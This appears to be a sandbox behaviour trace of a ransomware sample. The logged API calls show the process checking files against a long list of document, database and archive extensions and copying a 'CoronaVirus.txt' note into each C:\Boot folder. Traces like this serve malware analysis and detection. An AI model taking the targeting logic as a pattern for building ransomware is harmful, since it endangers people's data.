	[0082.925] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.926] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.926] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0082.926] FindNextFileW (in: hFindFile=0x600b10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0082.926] FindClose (in: hFindFile=0x600b10 | out: hFindFile=0x600b10) returned 1
	[0082.926] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0082.926] wcsncmp (_String1="d", _String2=".", _MaxCount=0x1) returned 54
	[0082.926] wcsncmp (_String1="da", _String2="..", _MaxCount=0x2) returned 54
	[0082.926] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\da-DK") returned 13
	[0082.927] wcsncmp (_String1="C:\\Boot\\d", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0082.927] wcsstr (_Str="C:\\Boot\\da-DK", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.927] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\da-DK\\CoronaVirus.txt" (normalized: "c:\\boot\\da-dk\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.985] _alloca_probe () returned 0x4036d0
	[0082.985] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x316583c*="da-DK") returned 0xd
	[0082.985] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xead240b0, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600710
	[0082.985] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.985] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xead240b0, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.985] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.986] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0082.986] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0082.986] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.986] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0082.986] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.987] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0082.987] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0082.988] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.988] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.989] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.989] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0082.989] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead240b0, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xead240b0, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.989] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.989] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.989] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.989] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.989] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.989] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.989] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.989] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.989] malloc (_Size=0x1000) returned 0x2f2e578
	[0082.989] _swprintf (in: param_1=0x2f2e578, param_2="%s\\%s" | out: param_1="C:\\Boot\\da-DK\\CoronaVirus.txt") returned 29
	[0082.989] wcsstr (_Str="C:\\Boot\\da-DK\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.989] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0082.989] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0082.989] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.989] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.989] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.989] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.989] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0082.989] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0082.990] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.990] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.991] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0082.991] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.992] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.992] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0082.992] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0082.992] FindClose (in: hFindFile=0x600710 | out: hFindFile=0x600710) returned 1
	[0082.992] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0082.992] wcsncmp (_String1="d", _String2=".", _MaxCount=0x1) returned 54
